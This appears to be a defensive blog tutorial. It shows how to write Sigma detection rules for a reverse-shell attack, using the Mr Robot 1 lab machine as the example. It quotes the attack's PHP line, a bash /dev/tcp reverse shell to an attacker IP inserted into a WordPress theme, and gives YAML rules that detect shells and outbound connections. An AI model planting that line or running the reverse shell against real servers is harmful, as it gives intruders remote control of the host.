Sigma is a plain-text format for describing suspicious behavior in logs and events, and one short Sigma rule can catch an attack on Windows, Linux and macOS alike. This post builds one from scratch, using a real lab walkthrough as the example: the Mr Robot 1 machine, where an attacker pastes a line of PHP into a WordPress theme and gets a reverse shell.
Sigma is to logs what YARA is to files. A YARA rule asks "does this file look malicious?" A Sigma rule asks "does this event look like an attack?", where an event is a process starting, a command line, or a network connection. Because Sigma is an open, vendor-neutral YAML format, a rule you write can be shared with other teams and imported into tools such as Cyber Threat Analyzer (CTA).
By the end you will have a working rule set, know how to import it, and know how to test it safely.
The attack, as an endpoint agent sees it
In the Mr Robot 1 walkthrough, the attacker guesses the WordPress admin password, opens the theme editor and adds one line to the 404 template:
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.3.2/443 0>&1'");He then requests a page that does not exist. WordPress runs the template, and the web server connects back to his machine. On the web server, an endpoint agent would record three things:
- A process event: the web server (for example
apache2) starts/bin/bashwith a long command line that contains/dev/tcp/. - A second event, one level down: later commands such as
whoamiandid, run by the web accountwww-data. - A network event:
bashitself opens an outbound connection to the attacker on port 443.
Each of these is something a Sigma rule can describe. Normal web servers almost never start an interactive shell, which is why these rules can be precise.
Anatomy of a Sigma rule
A Sigma rule is a YAML file with a handful of standard keys:
Key | What it does |
|---|---|
| The name, a unique ID and a plain-language explanation. These become the alert's name and detail |
| What kind of event the rule applies to, such as |
| One or more named blocks (selections) that describe what to match |
| How the selections combine: |
| Severity: informational, low, medium, high or critical. CTA maps it to the alert's severity |
| MITRE ATT&CK labels such as |
| What legitimate activity might trigger it, which helps whoever triages the alert |
Inside a selection, each line is field|modifier: value. Several values in a list mean "any of these", and several fields in one selection mean "all of these". The modifiers you will use most are contains, startswith, endswith, re (regular expression) and all (every listed value must be present).
CTA supports a practical subset of Sigma. It does not support time-window counting, such as "five failures in one minute", so a rule describes one event at a time.
Building the rule step by step
Rule 1: the command line. The most distinctive thing in the attack is /dev/tcp/ in a command line. We write one selection for it, and a second for the classic bash -i with a redirect:
title: Reverse Shell Command Line
id: 6f1c2a10-cta0-rev1-shell-000000000001
description: A command line that opens an interactive shell over a network socket.
author: CTA
tags:
- attack.execution
- attack.t1059.004
logsource:
category: process_creation
detection:
bash_tcp:
CommandLine|contains:
- '/dev/tcp/'
interactive_redirect:
CommandLine|contains|all:
- 'bash -i'
- '>&'
condition: bash_tcp or interactive_redirect
falsepositives:
- Admin testing with bash /dev/tcp
level: highThe second selection uses |all, so the command line must contain both bash -i and >&. The condition says either selection is enough.
Rule 2: who started the shell. Rule 1 depends on the exact payload. An attacker can change the command and still be running a shell under the web server. So we also describe the relationship: a shell whose parent is a web server, or which runs as a web account.
detection:
shell:
Image|endswith:
- '/sh'
- '/bash'
- '/zsh'
web_parent:
ParentImage|contains:
- 'apache2'
- 'httpd'
- 'nginx'
- 'php-fpm'
web_user:
SubjectUserName|contains:
- 'www-data'
- '_www'
condition: shell and (web_parent or web_user)The condition reads: a shell, and either a web-server parent or a web-account user. Rule 2 does not care what the attacker types, only that a web server ended up running a shell. The full file adds the Windows equivalents, cmd.exe, powershell.exe and w3wp.exe.
Rule 3: the network connection. This one uses a different log source. When bash opens /dev/tcp/..., the network collector sees the shell process itself connecting out:
logsource:
category: network_connection
detection:
shell_process:
ProcessName|endswith:
- '/bash'
- '/sh'
- '/nc'
has_port:
DestinationPort|re: '^[0-9]+$'
not_loopback:
DestinationIp|startswith: '127.'
condition: shell_process and has_port and not not_loopbackThe not removes connections to the machine itself, which are usually harmless. Each rule is useful alone, and together they catch the attack from three angles: what was typed, who ran it, and where it connected.
Field names in CTA, and importing the rules
Sigma rules found online use field names from Sysmon and Windows logs. CTA maps the common ones to its own field names, so most public rules work without editing:
Sigma field | What it means in CTA |
|---|---|
| The program that started ( |
| The program that started it ( |
| The full command line |
| The user account that ran it |
| Process and remote address on network events |
If a field is missing from an event, CTA falls back to searching the whole event text for the value. This makes imported rules looser than a strict Sigma engine, so check the results.
To import the rules
- Save the rules as a
.ymlfile. Several rules can share one file, separated by a line containing---. - In CTA, open Intelligence > Sigma Rules.
- Click Import YAML File, or Paste YAML to paste the text directly.
- Confirm the status line shows your rules as imported, enabled and currently running.
Imported rules apply right away, with no restart and no code change. They also run on events sent by endpoint agents, so one imported file covers your Windows, Linux and macOS hosts. A match goes through the same whitelisting and correlation as CTA's built-in rules.
Testing it safely
Do not test a detection by attacking a production server. Use two harmless commands on a lab machine that has an endpoint agent.
- Rule 1 (command line). Run
bash -c 'echo test # /dev/tcp/'. It opens no connection. The text/dev/tcp/only appears in the command line, which is what the rule looks for. - Reconnaissance rule (web account). If the host has a
www-datauser, runsudo -u www-data whoami. A discovery command run by a web account should raise the reconnaissance alert.
Then check the Alerts tab for alerts named after your rule titles. In the lab, you can also run the real Mr Robot payload against a throwaway VM and watch all three rules fire.
If nothing alerts, work backwards
- Is the agent online, and is the command visible in Live Events for that host? If not, the collection is the problem, not the rule. On Linux, check that the audit rules are loaded.
- If the event is there, check the rule: the condition, the field names, and the exact spelling of your values. Sigma matching ignores case but not typos.
- Check the rule is enabled, and was not deleted or disabled by mistake.
Change one thing at a time, and re-test after each change.
Limits and tips
- False positives. Some web applications run shell commands on purpose, such as backup and image tools. Run the rules in your environment, then add exceptions with
notselections rather than loosening the condition. - Visibility comes first. A rule can only match events the agent collects. A host without an agent, or without its audit rules loaded, is invisible to Sigma.
- No counting. CTA's Sigma subset describes single events. Detecting a brute force, such as many failed WordPress logins from one address, needs a different rule type.
- Attackers adapt. Rule 1 is easy to dodge by changing the payload. Rules 2 and 3 are harder to avoid, because they describe what must happen, not what was typed. Prefer behavior over exact strings.
Sigma and YARA together
The two tools see different moments of the same attack. A YARA rule can flag the edited 404.php file when it is written. A Sigma rule can flag the web server starting a shell when the payload runs. Using both means that if one is evaded, the other still has a chance.
Habits that make Sigma rules better
- Give each rule a clear title and description, so the alert makes sense to the next analyst.
- Always fill in
falsepositivesand the ATT&CKtags. - Test with one harmless trigger and one normal activity that must stay quiet.
- Keep your rules in version control, and give each rule a stable
id.
The best prevention for this attack is a strong password, login rate limiting and define('DISALLOW_FILE_EDIT', true); in wp-config.php. Detection tells you when prevention failed.

No comments:
Post a Comment